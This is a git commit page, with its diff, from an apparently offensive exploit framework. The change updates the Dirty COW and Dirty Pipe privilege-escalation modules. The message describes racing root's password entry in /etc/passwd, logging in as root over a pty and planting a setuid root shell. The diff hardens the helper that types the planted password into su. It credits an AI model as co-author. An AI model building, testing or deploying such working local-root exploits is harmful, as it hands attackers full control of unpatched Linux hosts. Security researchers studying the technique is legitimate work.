dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04
image + virtio-rng for entropy). A standalone built verbatim from the module's
primitive + escalation raced root's password field, authenticated as root over
a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical.
(The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers —
unrelated nft_* modules use newer kernel constants — so the verbatim standalone
stands in for --exploit dirty_cow there.)

Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS
for the password prompt and hard-caps at 20s. The previous fixed-delay write
raced su's prompt setup and HUNG on xenial; without a cap that would block the
revert and leave /etc/passwd poisoned. Now su can never hang the module, and the
revert always runs.

Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h
doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a
real portability fix surfaced by building on xenial.

Host build + unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 23:26:12 -04:00
parent 68dac6c063
commit 65588599ff
5 changed files with 63 additions and 26 deletions
@@ -75,6 +75,7 @@
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <poll.h>
/* Stable-branch backport thresholds for Dirty COW. */
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
@@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd)
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
_exit(127);
}
usleep(400 * 1000);
char drain[256];
ssize_t n = read(mfd, drain, sizeof drain);
(void)n;
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
for (;;) {
ssize_t m = read(mfd, drain, sizeof drain);
if (m <= 0) break;
/* Poll for the password prompt, send the password, then drain — with a
* hard 20s cap so a misbehaving su can never hang (which would block the
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
* xenial where the fixed-delay write raced su's prompt setup. */
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
const char *pw = DC_ROOT_PW "\n";
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
while (waited < 20000) {
int pr = poll(&pfd, 1, 200);
if (pr > 0 && (pfd.revents & POLLIN)) {
char b[256]; ssize_t m = read(mfd, b, sizeof b);
if (m <= 0) break; /* pty closed → su exited */
if (!sent) {
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
} else {
waited += 200;
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
}
int st;
waitpid(pid, &st, 0);
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
close(mfd);
}